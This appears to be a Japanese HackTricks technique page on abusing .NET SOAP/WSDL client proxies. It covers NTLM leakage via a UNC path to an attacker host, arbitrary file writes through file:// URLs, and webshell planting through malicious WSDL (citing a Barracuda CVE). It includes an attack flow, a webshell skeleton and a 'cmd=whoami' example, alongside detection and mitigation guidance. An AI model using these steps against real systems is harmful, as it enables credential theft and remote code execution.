.NET SOAP/WSDL クライアントプロキシの悪用
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
TL;DR
SoapHttpClientProtocol,DiscoveryClientProtocolとその仲間はHttpWebClientProtocolを継承しており、GetWebRequest()はWebRequest.Create()が返すスキーム非依存のWebRequestインスタンスを、そのまま返す(HttpWebRequestに強制しない)。- 攻撃者が
Urlを制御できる場合、フレームワークは静かにFileWebRequest、FtpWebRequest、あるいは UNC/SMB ハンドラに差し替え、“HTTP” プロキシを NTLM leak ガジェットや任意ファイル書き込みに変える。 ServiceDescriptionImporterなどで攻撃者提供の WSDL を取り込む機能があると、このバグはさらに悪化する: WSDL により生成されるプロキシのコンストラクタ、SOAP メソッド、複雑型、名前空間が制御され、Barracuda Service Center RMM、Ivanti EPM、Umbraco 8、PowerShell、SSIS などで事前認証 RCE(webshell、スクリプト配置)が可能になる。
原因: HttpWebClientProtocol はスキーム非依存
WebClientProtocol.GetWebRequest() は var req = WebRequest.Create(uri) を行い、そのまま返す。HttpWebClientProtocol.GetWebRequest() は req as HttpWebRequest を試して HTTP 固有のフィールドを設定しようとするが、キャストが失敗しても元の req を返す。したがってランタイムは Url にあるスキームに従う:
http(s)://→HttpWebRequestfile:///または\\host\share\→FileWebRequestftp://→FtpWebRequest
SoapHttpClientProtocol.Invoke() は選択されたトランスポートハンドラを通して SOAP POST ボディをストリームし、ディスク書き込みや SMB 経由の送信につながる可能性がある。
プリミティブ 1 – UNC ターゲット経由の NTLM キャプチャ / リレー
SoapHttpClientProtocol.Urlを制御する(直接セッター、設定値、DB 行など)。file://attacker.local/sink/payloadのような UNC パスを指すようにする。- CLR は SMB 経由でそのパスを開き、統合認証を行い、NTLM の challenge/response を攻撃者に漏らす。
- 取得したハッシュをオフラインクラッキングや NTLM リレー(SMB/HTTP)に使う(署名/EPA がなければ)。
これは、さらなる悪用が不可能に見える場合でも、ユーザー入力を受け付ける任意の .NET SOAP/HTTP プロキシパスに当てはまる。
プリミティブ 2 – file:// による任意ファイル書き込み
Url = "file:///inetpub/wwwroot/poc.aspx"(または書き込み可能な任意のパス)をプロキシ呼び出し前に設定する。- 任意の SOAP メソッドを呼び出すと、フレームワークは SOAP エンベロープ全体を指定されたパスに書き込み、既存ファイルを上書きする。
- ユーザー制御の引数は XML 要素内に現れるため、攻撃者は CSHTML/ASPX ペイロードや設定ファイルの汚染を行える。
制約:
- コンテンツは常に XML になる; スカラー値はエンティティエンコードされるため、プレーンな文字列で
<script>を注入するには追加の工夫が必要。 - 意味のあるペイロードには少なくとも一つの攻撃者影響下の引数か、メソッドシグネチャを変更する能力が必要(WSDL 悪用を参照)。
ランタイムは書き込み後にしばしば Client found response content type of 'application/octet-stream', but expected 'text/xml' を投げる — このエラーを IOC として扱う。
WSDL インポートの兵器化
ServiceDescriptionImporter による自動生成プロキシ
多くの製品は WSDL URL を受け取る「カスタム Web サービス」機能を備えており、処理は次のようになる:
- 攻撃者制御の WSDL を
ServiceDescription.Read()する。 ServiceDescriptionImporterがSoapHttpClientProtocolを継承する C# プロキシクラスを生成する。- CodeDOM がプロキシをコンパイルし、リフレクションで要求されたメソッドを呼び出す。
攻撃者は次を完全に制御できる:
soap:address/soap12:addressのlocation→base.Urlになる(file://や UNC パスを設定可能)。- メソッド名、パラメータリスト、複雑型とシリアライザ。
- SOAP メッセージ中の
xmlns:*属性となる名前空間 URI。
スキーム検証は行われないため、生成されたすべてのプロキシは元の設計ミスを継承する。
SOAP エンベロープを RCE 向けに成形する
- 複雑型のシリアライズ: WSDL 内でカスタム構造体を定義すると、
XmlSerializerがそれを再出力した際に攻撃者指定の要素名/属性を生成できる。ASPX webshell 配置のため、次のようにシリアライズされる型を作り:
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>
を Url に file:///.../webroot/shell.aspx として指し、RCE を得る。
- 名前空間注入: 引数がハードコードされている場合(例: Umbraco Forms)でも、WSDL に宣言された名前空間(例えば
xmlns:tns="http://host/service?x=@{...}")は SOAP エンベロープにそのままコピーされる。名前空間のクエリ文字列内にペイロードをエンコードすることで、パラメータ制御なしに CSHTML Razor や PowerShell スクリプトを配置できる。
これらの手法は Barracuda Service Center RMM (CVE-2025-34392) のエクスプロイトを駆動した: 認証不要の SOAP 呼び出しが悪意のある WSDL を供給し、soap12:address を file:///Program Files/.../SCMessaging/poc.aspx に設定し、複雑なパラメータを通じて <script runat="server"> を注入、webshell をアップロードして任意の cmd.exe コマンドを実行させた。
典型的な攻撃フロー
- WSDL URL を受け取る機能、あるいはユーザーが SOAP エンドポイントを設定できる箇所を特定する(例: Barracuda の
InvokeRemoteMethod、Ivanti EPM コネクタ、Umbraco 8 Forms のデータソース、PowerShell のNew-WebServiceProxy)。 soap:addressが書き込み可能なパスや UNC 共有を指す悪意ある WSDL をホストし、スキーマ定義でペイロードに適したメソッド/型を用意する。- インポート/コンパイルをトリガーする。ターゲットは攻撃者制御のコンストラクタとメソッドを持つプロキシ DLL を吐き出す。
- アプリケーションが生成されたメソッドを呼ぶと、SOAP リクエストがシリアライズされ、攻撃者指定のパスに書き込まれてペイロードを埋め込む。
- 配置したファイルを実行する(
poc.aspx?cmd=whoamiにアクセス、CSHTML を読み込む、または PowerShell によるスクリプト実行)か、取得した NTLM 情報をリプレイする。
検出とハンティング
- 静的解析:
ServiceDescriptionImporter、SoapHttpClientProtocol、HttpWebClientProtocol、またはNew-WebServiceProxyを grep する。Urlや WSDL 入力のソースを追跡し、ユーザー制御可能なら警戒する。 - ランタイムのテレメトリ:
- プロキシ生成時にスキームをログし、
file、ftp、または UNC 値でアラートを出す。 - SOAP 呼び出し後の特徴的な “Client found response content type of ‘application/octet-stream’” エラーを監視する。
- アプリケーションディレクトリ下での予期しない
.aspx/.cshtml/.ps1書き込みや、Web サービスのアイデンティティによるファイル生成を監視する。 - ネットワーク/ファイルのシグナル: Web サーバから攻撃者インフラへの SMB 接続、または一時的なプロキシ DLL の突発的なコンパイルは、悪用の前兆であることが多い。
緩和策
HttpWebClientProtocol派生のプロキシを呼ぶ前にトランスポートを検証する:
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
- インポートされる WSDL を消毒する: プロキシはブローカー経由でダウンロードし、HTTP/S 以外の
soap:addressを書き換えるか拒否し、不明なバインディングを削除し、名前空間を使ったペイロードトリックを禁止する。 - 信頼できない WSDL 機能を無効化する: “WSDL をアップロード” といった利便性を検証済みのサーバ側テンプレートやホワイトリストに置き換える。
- 書き込み先を分離する: アプリプールが実行可能ディレクトリに書き込めないようにし、データとコードで別ボリュームを使うことでファイル書き込みプリミティブが RCE にならないようにする。
- NTLM の露出をハードニングする: 可能ならアウトバウンド SMB を無効化する。そうでなければ SMB 署名、EPA などのリレー緩和策を強制する。
References
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


